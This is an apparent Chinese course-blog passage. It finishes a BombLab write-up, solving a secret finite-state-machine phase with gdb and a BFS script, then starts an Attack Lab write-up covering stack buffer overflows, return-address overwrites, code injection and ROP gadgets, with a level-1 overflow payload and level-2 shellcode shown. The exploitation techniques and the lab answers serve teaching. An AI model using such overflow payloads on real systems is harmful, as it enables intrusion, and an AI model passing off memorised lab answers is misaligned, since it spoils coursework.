获得eax，跳转到1719开始第一个循环：不断比较rax字符是否是$0x0（0x0是字符串结尾的\\0），如果不是就将rax+1，比较下一个字符；如果是，说明到达了字符串的末尾部分。那么就将eax减1，恰好到达字符串的末尾字符。\n反向复制循环 1722-1743 1722: mov %rsp,%rdx ; rdx指向栈缓冲区（目标） 1725: jmp 1731 1727: mov %cl,(%rdx) ; 存储字符到栈缓冲区 1729: add $0x1,%rdx ; 目标指针前进 172d: sub $0x1,%rax ; 源指针后退（关键：反向移动） ; 循环开始 1731: movzbl (%rax),%ecx ; 读取当前字符到cl 1734: cmp $0x20,%cl ; 检查是否为空格字符 1737: je 1745 ; 如果是空格，结束复制 1739: lea 0x6e58(%rip),%rsi ; rsi = 字符串起始地址(input_strings+0x78) 1740: cmp %rsi,%rax ; 检查是否回到字符串开头 1743: jne 1727 ; 如果没到开头，继续复制 1745: movb $0x0,(%rdx) ; 在复制结果后添加NULL 1748: mov %rsp,%rdi ; rdi = 反转后的字符串 首先rdx指向栈缓冲区。在跳到1731时，将rax也就是此时最后的字符复制到ecx，判断cl与$0x20是否相等（0x20是空格），如果相等就跳出循环，不是就继续判断此时的rax是否回到了phase2字符串的开头字符，如果是就把0x0(\\0)存到rdx中，也就是结束了rdx中字符串的构造；如果不是就跳转到1727，把当前的字符复制到rdx中并把rax指针向前移。\n字符串比较 1745-1759 174b: lea 0x2a46(%rip),%rsi ; rsi = 目标字符串地址(0x4198) 1752: call 1d47 \u0026lt;strings_not_equal\u0026gt; 1757: test %eax,%eax ; 检查是否相等 1759: je 1778 ; 如果相等，返回1 这里我们查看目标字符串是什么：\n需要和这个字符串相同，也就是说，我们输入的字符串反转后应该和其相同，那么就应该是：DoUKnowThatGaiusJuliusCaesarOnceSaid...。\n总之，这个函数的作用是：将phase2的第七个参数字符串反转，与目标字符串比较，相同才可以。把上述字符串加到phase2的末尾即可。\n这样，我们在输入第一个判定的jump之后就会出现这样的语句：\n我们成功进入了隐藏阶段！这里需要直接在命令行输入答案。我们继续看隐藏阶段的汇编。\n破解方式 # FSM前置知识 # 2026/01/10更新 # 补充有关状态机的知识，不过可以跳过不看，这里列出一些关键名词供读者自行搜索了解，或者点开下面的折叠内容查看。\n补充有关状态机的知识 有限状态机 $ M=(S, I, O, f, g, s_0) $ 由以下部分组成：\n$ S $：有限状态集 $ I $：有限输入字母表 $ O $：有限输出字母表 $ f: S \\times I \\rightarrow S $：状态转移函数 $ g: S \\times I \\rightarrow O $：输出函数 $ s_0 \\in S $：初始状态 可以用状态表来表示状态函数f和输出函数g的值。表示有限状态机的另一种方法是状态图，这是一个边带有标号的有向图。在这个图中，状态由圈表示，转移由带输人和输出对标号的箭头表示。\n令 $ M=(S, I, O, f, g, s_0) $ 是一个有限状态机，并且 $ L \\subseteq I^*$，那么当输入串 $ x \\in L $，并且当且仅当$x$作为 $M$ 的输入，$M$的最后一个输出位是1时，我们说有限状态机M能够识别(或接受) $L$。\n不带输出的有限状态机称为有限状态自动机，记为 $ M=(S, I, f, s_0, F) $，由以下部分组成：\n$ S $：有限状态集 $ I $：有限输入字母表 $ f: S \\times I \\rightarrow S $：状态转移函数 $ s_0 \\in S $：初始状态 $ F \\subseteq S $：接受状态集 在进入这一部分之前，看到函数的名称可以发现有FSM的名称。通过查询得知，这是finite-state machine的缩写，即有限状态机。下面先给出一些在经过询问ai和阅读有关介绍之后的本人理解（叠甲，不保证完全正确，严谨定义和理解请参考其他资料！！）：\n啥是有限状态机？搜索谷歌得知定义为：\n有限状态机（英语：finite-state machine，缩写：FSM）又称有限状态自动机（英语：finite-state automaton，缩写：FSA），简称状态机，是表示有限个状态以及在这些状态之间的转移和动作等行为的数学计算模型。\n那就可以从其组成部分来理解了。\n状态（States）：系统可能处于的有限个状况，其特点是：在任何给定时刻，FSM只能处于一个状态，且总状态是有限的。比如一个电梯控制系统，在任意一刻只能处于静止、上行、下行、开门、关门这五个状态之一。 转移（Transitions）：状态之间的切换规则，其触发条件通常由输入事件触发，比如电梯在用户按关门按钮之后，机器接收到这一个信号，触发状态的转移，即从开门的状态转为关门的状态。 输入字母表（Input Alphabet）：所有可能输入值的集合，比如电梯系统的按钮。 初始状态（Initial State）：FSM开始运行时的起始状态。 接受状态（Accept States，可选）：表示\u0026quot;成功\u0026quot;或\u0026quot;完成\u0026quot;的状态。 举一个🌰，下面这个图是一个FSM，它有三种状态可选：A, B, C，且支持的输入字母表仅仅是0或者1，箭头表示对于一个输入，机器从一个状态转移到另一个状态。\n假设其初始状态是A，我们对其输入一个0，那么就会沿着左侧从A指向B的箭头进行转移，得到一个新状态B。假设我们输入一串序列：011001，那么就会经过6次转移，按照箭头方向，过程是：\n$ A \\overset{0}{\\rightarrow} B \\overset{1}{\\rightarrow} D \\overset{1}{\\rightarrow} D \\overset{0}{\\rightarrow} A \\overset{0}{\\rightarrow} B \\overset{1}{\\rightarrow} D $\n我们得到最终状态是D。（对于状态B和D，对于输入分别为0和1时，其状态转移到自身也就是不发生改变）\n接下来，我们考虑一个有趣的问题（同步序列问题）：对于机器的所有可能初始状态，能不能找到一个给定最大长度的输入序列（假定这个FSM接收的输入都是0或者1），使得经过这个输入序列进行状态转移之后，都得到一个相同的最终状态？如果可以，如何找到？\n拿上面那个例子说明。我们给出一个输入序列，对于所有可能的初始状态（即A、B、D），让它们经过同样的输入进行转移后，得到同样的转移后状态。不难看出，可以找到一个最短的序列：1。因为三者经过输入1转移后都到达了D，也就满足了条件。\n有没有什么好的方法系统性地求解出来这个序列呢？考虑到上图中节点和边的结构，可以发现这其实是一个图，每个状态构成一个节点，输入的字符构成一条单向边。那我们可以简化上述题目如下：对于一个有限节点的图，每个节点都有固定个数的出度（这里设定为2，即0和1）且可能形成自环，能否找到一个给定最大长度的输入序列（假定输入序列由0和1构成），使得图中以任意一个节点作为出发点经过这个输入序列的移动之后，都到达同一个节点？如果可以，如何找到？\n方便起见，我们将上述图中的初始状态编码为0，1，2，分别对应状态A，B，D。然后我们可以得到一个状态转移表：\nstate input=0 input=1 0 1 2 1 1 2 2 0 2 其中第二列的数字表示，对于该数字所在行的初始状态，按照该列的输入值进行转移后，所得到的新状态。比如，对于初状态1，输入1，得到2，对应上图中B输入1得到D。\n考虑将初始状态看成一个集合：{0，1，2}，每次输入一个字符0或1，我们对这个集合的所有元素进行同步地转移更新来得到一个新的集合。例如，输入1，通过查表得到更新后的状态集合为：{2}。我们发现，此时集合长度为1，也就是说，我们使得所有状态都到达了同一个终状态！也就是得到了答案。\n将状态看成集合，每次输入都是对集合元素的同步操作，得到最终的结果是集合只有一种元素\n有没有什么方法来找到呢？每次输入是固定的0或者1，既然有一个给定的最大长度，那不妨直接从短到长对所有可能的序列都进行一次搜索。这不就是BFS吗？！我们将状态集合入队列，保存一个状态转移path，每次弹出一个集合都对0或1进行转移试探，如果这个状态之前没出现过就入队，并把0或1加入到path终，否则跳过；如果path长度超过最大长度说明不能找到。我们给出下面的python代码：\nfrom collections import deque transition_table = [ [1, 2], # 状态A: 输入0→B(1), 输入1→D(2) [1, 2], # 状态B: 输入0→B(1), 输入1→D(2) [0, 2], # 状态D: 输入0→A(0), 输入1→D(2) ] MAX_length = 10 init_states = frozenset(range(3)) q = deque([(init_states, \u0026#39;\u0026#39;)]) visited = set(init_states) length = 0 while q: curr_states, path = q.popleft() if length \u0026gt; MAX_length: print(\u0026#34;Impossible!\u0026#34;) break if len(curr_states) == 1: # 三种状态都转移到了同一种状态 print(path) break for input_num in [0, 1]: next_states = frozenset(transition_table[state][input_num] for state in curr_states) if next_states not in visited: q.append((next_states, path + str(input_num))) visited.add(next_states) 我们得到和上面肉眼观察相同的答案：1。这样我们就知道如何解答上述的同步序列问题了！\n解读隐藏阶段 # 下面是这个阶段的汇编代码，以及额外的两个辅助函数的汇编。在汇编中都加有注释。\n0000000000001b60 \u0026lt;emulate_fsm\u0026gt;: -- 状态转移函数 1b60:\tf3 0f 1e fa endbr64 1b64:\t55 push %rbp 1b65:\t53 push %rbx 1b66:\t48 83 ec 08 sub $0x8,%rsp 1b6a:\t89 fd mov %edi,%ebp -- ebp = 初始状态 1b6c:\t48 89 f3 mov %rsi,%rbx -- rbx = 输入字符串 1b6f:\teb 28 jmp 1b99 \u0026lt;emulate_fsm+0x39\u0026gt; -- 进入主循环1b99 -- 状态转移计算，将遍历的初始状态(0-6)按照转移表，对应输入的0或者1得到对应的新状态 1b71:\t0f be 03 movsbl (%rbx),%eax -- 读取输入字符 1b74:\t83 e8 30 sub $0x30,%eax -- 字符-\u0026#39;0\u0026#39;得到0或1 1b77:\t48 63 ed movslq %ebp,%rbp -- rbp = 初始状态 1b7a:\t48 98 cltq 1b7c:\t48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx -- rdx = 输入值 * 8 1b83:\t00 1b84:\t48 29 c2 sub %rax,%rdx -- rdx = 输入值 * 7 1b87:\t48 8d 04 2a lea (%rdx,%rbp,1),%rax -- rax = 初始状态 + 输入值 * 7 1b8b:\t48 8d 15 6e 27 00 00 lea 0x276e(%rip),%rdx # 4300 \u0026lt;transition_table\u0026gt; -- 获取转移表的地址（见下方文字叙述的转移表） 1b92:\t8b 2c 82 mov (%rdx,%rax,4),%ebp -- ebp = 新状态 = table[索引] 1b95:\t48 83 c3 01 add $0x1,%rbx -- rbx++，移动到下一个字符 -- 主循环 1b99:\t0f b6 03 movzbl (%rbx),%eax -- 读取当前字符 1b9c:\t84 c0 test %al,%al -- 检测是否为NULL 1b9e:\t74 0e je 1bae \u0026lt;emulate_fsm+0x4e\u0026gt; -- 如果是NULL则无需转移，返回输入的初始状态 1ba0:\t83 e8 30 sub $0x30,%eax -- 字符-\u0026#39;0\u0026#39;（得到数字） 1ba3:\t3c 01 cmp $0x1,%al -- 检测是否小于等于1（是否是0或1） 1ba5:\t76 ca jbe 1b71 \u0026lt;emulate_fsm+0x11\u0026gt; -- 如果是0或1就计算该数字对应的转移结果 1ba7:\te8 b0 04 00 00 call 205c \u0026lt;explode_bomb\u0026gt; -- 如果不是就爆炸 1bac:\teb c3 jmp 1b71 \u0026lt;emulate_fsm+0x11\u0026gt; 1bae:\t89 e8 mov %ebp,%eax -- 如果是NULL则无需转移，返回输入的初始状态 1bb0:\t48 83 c4 08 add $0x8,%rsp 1bb4:\t5b pop %rbx 1bb5:\t5d pop %rbp 1bb6:\tc3 ret 0000000000001bb7 \u0026lt;check_synchronizing_sequence\u0026gt;: -- 检测序列是否完全同步（相同）函数 1bb7:\tf3 0f 1e fa endbr64 1bbb:\t41 54 push %r12 1bbd:\t55 push %rbp 1bbe:\t53 push %rbx 1bbf:\t48 89 fd mov %rdi,%rbp -- rbp = 输入字符串 -- 从初始状态为0开始模拟FSM，把0的终状态作为参考与后续做比较 1bc2:\t48 89 fe mov %rdi,%rsi -- rsi = 输入字符串 1bc5:\tbf 00 00 00 00 mov $0x0,%edi -- edi = 初始状态0 1bca:\te8 91 ff ff ff call 1b60 \u0026lt;emulate_fsm\u0026gt; -- 调用转移函数得到终状态 1bcf:\t41 89 c4 mov %eax,%r12d -- r12d = 参考最终状态 -- 循环检查初始状态1-6 1bd2:\tbb 01 00 00 00 mov $0x1,%ebx -- ebx = 初始状态(1) 1bd7:\t83 fb 06 cmp $0x6,%ebx -- 开始遍历1到6 1bda:\t7f 14 jg 1bf0 \u0026lt;check_synchronizing_sequence+0x39\u0026gt; 1bdc:\t48 89 ee mov %rbp,%rsi -- rsi = 输入字符串 1bdf:\t89 df mov %ebx,%edi -- edi = 初始状态 1be1:\te8 7a ff ff ff call 1b60 \u0026lt;emulate_fsm\u0026gt; -- 得到该初始状态转移后的终状态 1be6:\t44 39 e0 cmp %r12d,%eax -- 比较最终状态与参考基准是否相同 1be9:\t75 0f jne 1bfa \u0026lt;check_synchronizing_sequence+0x43\u0026gt; -- 如果不同就跳到1bfa 1beb:\t83 c3 01 add $0x1,%ebx -- 如果相同，ebx++，遍历下一个初始状态 1bee:\teb e7 jmp 1bd7 \u0026lt;check_synchronizing_sequence+0x20\u0026gt; 1bf0:\tb8 00 00 00 00 mov $0x0,%eax -- 如果1-6的初始状态都与0相同就eax设置为0返回，不会爆 1bf5:\t5b pop %rbx 1bf6:\t5d pop %rbp 1bf7:\t41 5c pop %r12 1bf9:\tc3 ret 1bfa:\tb8 ff ff ff ff mov $0xffffffff,%eax -- 如果不同就把eax设置为全1，这样在secret函数中test eax得到1，使得爆炸 1bff:\teb f4 jmp 1bf5 \u0026lt;check_synchronizing_sequence+0x3e\u0026gt; 0000000000001c01 \u0026lt;secret_phase\u0026gt;: 1c01:\tf3 0f 1e fa endbr64 1c05:\t55 push %rbp 1c06:\t53 push %rbx 1c07:\t48 83 ec 18 sub $0x18,%rsp 1c0b:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax 1c12:\t00 00 1c14:\t48 89 44 24 08 mov %rax,0x8(%rsp) 1c19:\t31 c0 xor %eax,%eax -- 读取输入 1c1b:\te8 07 05 00 00 call 2127 \u0026lt;read_line\u0026gt; 1c20:\t48 89 c5 mov %rax,%rbp -- rbp = 输入字符串 -- 检查输入长度\u0026lt;=17 1c23:\tbb 00 00 00 00 mov $0x0,%ebx -- 计数器ebx=0 1c28:\teb 03 jmp 1c2d \u0026lt;secret_phase+0x2c\u0026gt; -- 进入字符遍历 1c2a:\t83 c3 01 add $0x1,%ebx -- 计数器++ 1c2d:\t48 63 c3 movslq %ebx,%rax 1c30:\t80 7c 05 00 00 cmpb $0x0,0x0(%rbp,%rax,1) -- 检查字符是否为NULL 1c35:\t74 0c je 1c43 \u0026lt;secret_phase+0x42\u0026gt; -- 如果是NULL跳出遍历结束检查 1c37:\t83 fb 10 cmp $0x10,%ebx -- 比较长度是否\u0026lt;=17 1c3a:\t7e ee jle 1c2a \u0026lt;secret_phase+0x29\u0026gt; -- 如果是就继续检查下一个字符是不是NULL 1c3c:\te8 1b 04 00 00 call 205c \u0026lt;explode_bomb\u0026gt; -- 如果不是就爆炸 1c41:\teb e7 jmp 1c2a \u0026lt;secret_phase+0x29\u0026gt; -- 检查同步序列 check_synchronizing_sequence 1c43:\t48 89 ef mov %rbp,%rdi -- rdi = 输入字符串 1c46:\te8 6c ff ff ff call 1bb7 \u0026lt;check_synchronizing_sequence\u0026gt; 1c4b:\t85 c0 test %eax,%eax 1c4d:\t75 45 jne 1c94 \u0026lt;secret_phase+0x93\u0026gt; -- 如果检查同步失败就爆炸，下面的输出成功信息并返回 1c4f:\t48 8d 3d aa 25 00 00 lea 0x25aa(%rip),%rdi # 4200 \u0026lt;_IO_stdin_used+0x200\u0026gt; 1c56:\te8 15 f6 ff ff call 1270 \u0026lt;puts@plt\u0026gt; 1c5b:\t48 8d 3d ce 25 00 00 lea 0x25ce(%rip),%rdi # 4230 \u0026lt;_IO_stdin_used+0x230\u0026gt; 1c62:\te8 09 f6 ff ff call 1270 \u0026lt;puts@plt\u0026gt; 1c67:\t48 8d 3d 1a 26 00 00 lea 0x261a(%rip),%rdi # 4288 \u0026lt;_IO_stdin_used+0x288\u0026gt; 1c6e:\te8 fd f5 ff ff call 1270 \u0026lt;puts@plt\u0026gt; 1c73:\t48 8d 7c 24 04 lea 0x4(%rsp),%rdi 1c78:\te8 e8 05 00 00 call 2265 \u0026lt;phase_defused\u0026gt; 1c7d:\t48 8b 44 24 08 mov 0x8(%rsp),%rax 1c82:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 1c89:\t00 00 1c8b:\t75 0e jne 1c9b \u0026lt;secret_phase+0x9a\u0026gt; 1c8d:\t48 83 c4 18 add $0x18,%rsp 1c91:\t5b pop %rbx 1c92:\t5d pop %rbp 1c93:\tc3 ret 1c94:\te8 c3 03 00 00 call 205c \u0026lt;explode_bomb\u0026gt; 1c99:\teb b4 jmp 1c4f \u0026lt;secret_phase+0x4e\u0026gt; 1c9b:\te8 00 f6 ff ff call 12a0 \u0026lt;__stack_chk_fail@plt\u0026gt; 汇编代码的详细解释在上述双短横线的注释中，下面用deepseek给出一个c语言版本方便理解：\n// Generated by Deepseek int emulate_fsm(int initial_state, const char* input) { int current_state = initial_state; const char* ptr = input; while (*ptr != \u0026#39;\\0\u0026#39;) { // 验证输入只能是\u0026#39;0\u0026#39;或\u0026#39;1\u0026#39; int input_val = *ptr - \u0026#39;0\u0026#39;; if (input_val != 0 \u0026amp;\u0026amp; input_val != 1) { explode_bomb(); } // 计算状态转移索引: index = current_state + input_val * 7 int index = current_state + input_val * 7; // 从转移表中获取新状态 current_state = transition_table[index]; ptr++; // 下一个字符 } return current_state; } int check_synchronizing_sequence(const char* input) { // 从位置0开始模拟，得到参考最终状态 int reference_state = emulate_fsm(0, input); // 检查从位置1-6开始模拟是否都到达相同状态 for (int start_pos = 1; start_pos \u0026lt;= 6; start_pos++) { int final_state = emulate_fsm(start_pos, input + start_pos); if (final_state != reference_state) { return -1; // 失败 } } return 0; // 成功 } void secret_phase() { char* input = read_line(); // 检查输入长度 ≤ 16 int length = 0; for (int i = 0; ; i++) { if (input[i] == \u0026#39;\\0\u0026#39;) { break; } if (i \u0026gt; 16) { explode_bomb(); // 长度超过16，爆炸 } } // 检查是否为同步序列 int result = check_synchronizing_sequence(input); if (result != 0) { explode_bomb(); // 不是同步序列，爆炸 } // 成功输出 // puts(\u0026#34;恭喜！你找到了同步序列！\u0026#34;); // puts(\u0026#34;这个序列无论从哪个位置开始，都能让FSM到达相同状态。\u0026#34;); // puts(\u0026#34;隐藏阶段通过！\u0026#34;); phase_defused(); } 首先，这是一个FSM状态自动机； 其次，状态转移表需要在gdb中自行找到，并且按照正确的顺序填表； 最后，题目要求对于从0到6的七种初始状态，应输入一个01字符串，使得经过这个字符串序列进行状态转换后，得到的七种新状态是一致的。 从gdb查看状态转移表的具体内容：\n(gdb) info address transition_table Symbol \u0026#34;transition_table\u0026#34; is at 0x555555558300 in a file compiled without debugging. (gdb) x/64xb 0x555555558300 0x555555558300 \u0026lt;transition_table\u0026gt;: 0x03 0x00 0x00 0x00 0x06 0x00 0x00 0x00 0x555555558308 \u0026lt;transition_table+8\u0026gt;: 0x00 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x555555558310 \u0026lt;transition_table+16\u0026gt;: 0x04 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x555555558318 \u0026lt;transition_table+24\u0026gt;: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x555555558320 \u0026lt;transition_table+32\u0026gt;: 0x04 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x555555558328 \u0026lt;transition_table+40\u0026gt;: 0x03 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x555555558330 \u0026lt;transition_table+48\u0026gt;: 0x04 0x00 0x00 0x00 0x06 0x00 0x00 0x00 对应的状态表：\nstate input 0 input 1 0 3 0 1 6 4 2 0 2 3 5 3 4 4 5 5 1 4 6 2 6 给出一个图示：\n这里表是 按照列填充 的，为什么呢？原因在emulate_fsm中有这样一段状态转移的逻辑：\n; 状态转移计算 1b71: movsbl (%rbx),%eax ; 读取字符 1b74: sub $0x30,%eax ; eax = 输入值(0或1) 1b77: movslq %ebp,%rbp ; 扩展当前状态 1b7a: cltq ; 扩展输入值 1b7c: lea 0x0(,%rax,8),%rdx ; rdx = 输入值 * 8 1b84: sub %rax,%rdx ; rdx = 输入值 * 7 1b87: lea (%rdx,%rbp,1),%rax ; rax = 当前状态 + 输入值*7 1b8b: lea 0x276e(%rip),%rdx ; rdx = transition_table地址 1b92: mov (%rdx,%rax,4),%ebp ; 新状态 = table[索引] 1b95: add $0x1,%rbx ; 移动到下一个字符 1b99: jmp 主循环开始 也就是说，下一个状态的值是这样计算的：\n$$ state_{new} = table[4_{bytes} \\cdot (state_{old} + 7 \\cdot input_{{0,1}})] $$比如，当前状态是0，输入0得到的新状态仍然是0；输入1，得到的状态应该是table[4*7]，跨越7个4字节，也就是跨越了一列，到达第二列0对应的输入为1的新状态0。\n那么我们怎么找到一个长度不超过17的01序列，使得对于0-6这七种初始状态，都能得到一个相同的终状态呢？这是一个算法题，考虑用BFS来解决，相当于对每次的0和1输入进行遍历，一旦发现七种状态都相同了就返回路径。下面是python代码：\nfrom collections import deque transition_table = [ [3, 0], # state 0: input0-\u0026gt;3, input1-\u0026gt;0 [6, 4], # state 1: input0-\u0026gt;6, input1-\u0026gt;4 [0, 2], # state 2: input0-\u0026gt;0, input1-\u0026gt;2 [5, 3], # state 3: input0-\u0026gt;5, input1-\u0026gt;3 [4, 5], # state 4: input0-\u0026gt;4, input1-\u0026gt;5 [1, 4], # state 5: input0-\u0026gt;1, input1-\u0026gt;4 [2, 6], # state 6: input0-\u0026gt;2, input1-\u0026gt;6 ] init_states = frozenset(range(7)) q = deque([(init_states, \u0026#39;\u0026#39;)]) visited = set(init_states) length = 0 while q: curr_states, path = q.popleft() if length \u0026gt; 17: print(\u0026#34;Impossible!\u0026#34;) break if len(curr_states) == 1: # 七种状态都转移到了同一种状态 print(path) break for input_num in [0, 1]: next_states = frozenset(transition_table[state][input_num] for state in curr_states) if next_states not in visited: q.append((next_states, path + str(input_num))) visited.add(next_states) 这段代码中使用了frozenset，原因是我们想把这7个值的状态保存到visited这个set中，set中存set是不行的，但是存frozenset是可以的。运行结果是10101010100000101。这就是隐藏阶段的答案了！大功告成！\n（后记：将答案写到answer.txt的第七行，并把其作为参数传递给bomb，可以不用执行检测一中的jump，就能够完成隐藏阶段）\n","externalUrl":null,"permalink":"/ics/02-bomblab/","section":"ICS","summary":"x86-64汇编阅读","title":"02-BombLab","type":"ics"},{"content":" PKU 2025 Attack Lab 个人解析 # 文件说明 # target70.tar 为lab的源压缩包，target70/ 为解压后的目录；attack-writeup为autolab提供的实验说明。\n解压后的目录中，farm.c, hex2raw, README.txt, c/r/starget, cookie.txt 为源文件，剩下的为我创建的文件，具体有：\nexploit-hex.txt 为各个level构造出的十六进制答案序列； code.s 为各个level手工编写的几行机器语言，code.o, code.asm为使用命令后得到的完整版汇编语言，便于取出各条语句的十六进制编译。 1.txt, 2.txt, 等等为各个level的最终输入文件，是使用hex2raw输入exploit-hex.txt之后得到的字符串序列文件。 为了方便起见，下面的cookie值假设都是0x12345678，读者只需要将这个值替换为自己的cookie.txt文件中的值即可。\n这个lab的介绍（writeup）中有详细的实验说明、各个level的解题建议和函数说明、一些工具的使用方式，类似于引导式地帮助完成该实验，比datalab和bomblab要良心一点。下面给出一些工具的用法（在writeup中都有）：\nhex2raw 将十六进制文本转换为对应的字符串。可以输入以空格或者换行符分割的十六进制数字文件(.txt)，并把输出传到另一个文件中作为ctarget的输入字符串。方法是在命令行中：./hex2raw \u0026lt; answer-hex1.txt \u0026gt; 1.txt。一般来说，都是先在一个exploit-hex1.txt中拼接好该阶段的答案之后，再借用这个工具转换为对应的字符串格式文件1.txt，就可以直接给target了：./ctarget -i 1.txt。或者在gdb中，使用run \u0026lt; 1.txt传入。\n有些阶段需要注入自己的汇编代码，可以先把要写的汇编写入一个code.s文件中，使用命令行：gcc -c code.s得到文件code.o，然后再利用objdump反汇编得到完整的汇编：objdump -d code.o \u0026gt; code.asm，得到的code.asm中就有各个机器代码语句的十六进制编码了。然后结合1中的步骤把这些拼到1.txt中组合答案。\n前置知识(个人理解) # %rsp的栈指针，%rip存的是当前执行的指令地址，在gdb中用x/5i $rip查看接下来要执行的5条机器码。\n在函数调用时会用到call的指令，当运行call指令后相关寄存器的行为是：%rsp将会减8字节，然后将这个call指令的下一条指令的地址写入%rsp的位置；将call的函数的首地址写入%rip中，%rip所指向的地址就是当前机器运行的指令。\n此外，ret指令可以简单地理解为：\npopq %rip 也就是从栈中弹出八个字节到%rip中，执行%rip地址处的代码。\n在这个lab中，入口函数中会有一个getbuf函数，通过获取用户的输入来进行接下来的操作。而我们要做的就是，通过在输入中构造长度超过程序设定长度的字符串，使得这个字符串在填充程序给定空间之后，继续覆盖先前的空间（这里都是栈中的空间）。根据上一段的论述我们知道，紧接着的8个字节就是返回地址。也就是说，假设程序想要获取16字节的输入，我们输入了24个字节，那么尾部的8个字节就会顺理成章地覆盖掉返回地址。这样，当return的时候，%rip中获取的地址就不是程序原来的地址了，而是根据我们的输入来跳转到我们想要的地址处。而我们想要的地址往往是攻击代码，这就实现了攻击的目的，也就是这个lab的名称了。\n在level1中，我们直接覆盖返回地址使其成为攻击代码地址；而在level2和3中，我们甚至可以直接注入我们自己写的代码来执行。\n可能你会疑惑，我输入的明明是16进制数字转换成的字符串，我怎么可能注入我的机器代码呢？就算注入了，我怎么能让这些代码得到执行呢？\n这里就有一个小技巧，我们覆盖返回地址的时候，不一定只能呆呆地覆盖成已有的攻击代码的地址开始处（如touch2的地址）。我们还可以利用覆盖的8字节之前的输入呀！意思就是，假设预设的输入是16字节，我们输入24字节，但是末尾的8个字节我们设置为输入的24字节的开始字节地址处，这样在return的时候，就会从我们输入的字符串的开始处执行了！我们可以在这16个字节里面做事情，比如给%rdi传值、把touch2的地址push到栈中在ret一下，就也完成了跳转到touch2的目标了。\n我们的机器代码不是一条一条的指令吗？怎么写进栈里面？别忘了汇编代码中每条指令前面的一串十六进制数字\u0026ndash;那些就是他们的十六进制编码。我们把这些编码写到我们构造的答案中，当%rip指向它们时会自动执行这些指令的。这就完成了level2和level3的思路。\n这样的操作实际是有一定限制的：我们覆盖返回地址为栈顶时（也就是我们输入的24字节的首地址），要把栈顶的地址的十六进制数字明明确确地写出来，写在我们24字节的最后8字节中。那假设程序做了栈位置随机化呢？每次启动后地址都改变了，我们的返回地址也会失效。此时有另一种办法来解决：我们可以利用另一种办法来解决：利用程序中已有的代码来构造我们所需的代码，而不是通过注入自己编写的代码。\n举个例子，假设程序中有这样一个函数：\n0000000000401f69 \u0026lt;getval_162\u0026gt;: 401f69:\tf3 0f 1e fa endbr64 401f6d:\tb8 68 89 c7 90 mov $0x90c78968,%eax 401f72:\tc3 ret 按理来说假设程序执行这个函数，%rip的起始地址肯定是401f69开始一条一条执行。假设，我们将覆盖的8个字节的地址改成00401f69，那么会顺利进入该函数执行。\n我们发现在编码中有：89 c7 90 c3，其中89 c7是movl %eax, %edi的编码，90是nop的编码，c3是ret的编码，假设我们将覆盖的地址写成从89这个值开始的地址，也就是00401f6f，这样%rip会从该处执行，也就是执行上述的三条新的指令了。在ret之后，假设我们输入的不是24字节而是32字节，我们在倒数第16到倒数第8字节中写的是0000000000401f6f，那么在ret之后%rip会写入倒数第8到末尾的地址，此时就可以继续写另一条机器码的地址，实现一连串的跳转与操作。\n在level4、5、6中都是借助这种思想来完成构造输入的，就是通过在farm中找到我们需要的指令编码来一条一条构造出我们的机器码，实现一系列操作。\nlevel1 # 0000000000401ec1 \u0026lt;test\u0026gt;: 401ec1:\tf3 0f 1e fa endbr64 401ec5:\t48 83 ec 08 sub $0x8,%rsp 401ec9:\tb8 00 00 00 00 mov $0x0,%eax 401ece:\te8 92 fd ff ff call 401c65 \u0026lt;getbuf\u0026gt; 401ed3:\t89 c2 mov %eax,%edx 401ed5:\t48 8d 35 1c 23 00 00 lea 0x231c(%rip),%rsi # 4041f8 \u0026lt;_IO_stdin_used+0x1f8\u0026gt; 401edc:\tbf 02 00 00 00 mov $0x2,%edi 401ee1:\tb8 00 00 00 00 mov $0x0,%eax 401ee6:\te8 a5 f2 ff ff call 401190 \u0026lt;__printf_chk@plt\u0026gt; 401eeb:\t48 83 c4 08 add $0x8,%rsp 401eef:\tc3 ret 0000000000401c65 \u0026lt;getbuf\u0026gt;: 401c65:\tf3 0f 1e fa endbr64 401c69:\t48 83 ec 28 sub $0x28,%rsp // 40 401c6d:\t48 89 e7 mov %rsp,%rdi 401c70:\te8 57 03 00 00 call 401fcc \u0026lt;Gets\u0026gt; 401c75:\tb8 01 00 00 00 mov $0x1,%eax 401c7a:\t48 83 c4 28 add $0x28,%rsp 401c7e:\tc3 ret 0000000000q \u0026lt;touch1\u0026gt;: 401cf1:\tf3 0f 1e fa endbr64 401cf5:\t50 push %rax 401cf6:\t58 pop %rax 401cf7:\t48 83 ec 08 sub $0x8,%rsp 401cfb:\tc7 05 1f 48 00 00 01 movl $0x1,0x481f(%rip) # 406524 \u0026lt;vlevel\u0026gt; 401d02:\t00 00 00 401d05:\t48 8d 3d ff 28 00 00 lea 0x28ff(%rip),%rdi # 40460b \u0026lt;_IO_stdin_used+0x60b\u0026gt; 401d0c:\te8 6f f3 ff ff call 401080 \u0026lt;puts@plt\u0026gt; 401d11:\tbf 01 00 00 00 mov $0x1,%edi 401d16:\te8 2e 05 00 00 call 402249 \u0026lt;validate\u0026gt; 401d1b:\tbf 00 00 00 00 mov $0x0,%edi 401d20:\te8 bb f4 ff ff call 4011e0 \u0026lt;exit@plt\u0026gt; 目的是从test进入，调用getbuf之后，不要正常返回到test中，而是跳转到touch1中。很简单，我们只需要在构造的十六进制串中，先把getbuf中预设的0x28也就是40个字节给占满，然后多写8个字节，也就是touch1的地址，这样在ret的时候会把这8个字节写入%rip中，就会执行touch1了。\n所以在exploit-hex1.txt中写：\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 1c 40 00 在用hex2raw得到1.txt，输入给ctarget即可完成。注意，最后的地址是小端法，我们输入的地址的字节要倒过来写。具体理解方式见下图：\nlevel2 # 思路已经阐述过，这里注入的机器码要做的事情就是把我们的cookie值传递给寄存器%rdi，然后把touch2的地址push到栈再ret出来即可。同时覆盖的返回地址是栈顶，也就是输入字节串的起始地址（也就是上图的字节12的地址）。\n首先写出机器代码：\nmovq $0x12345678, %rdi push $0x401d25 ret 注意cookie值要换成自己的cookie。然后使用文章开头的操作得到真实的asm：\ncode2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 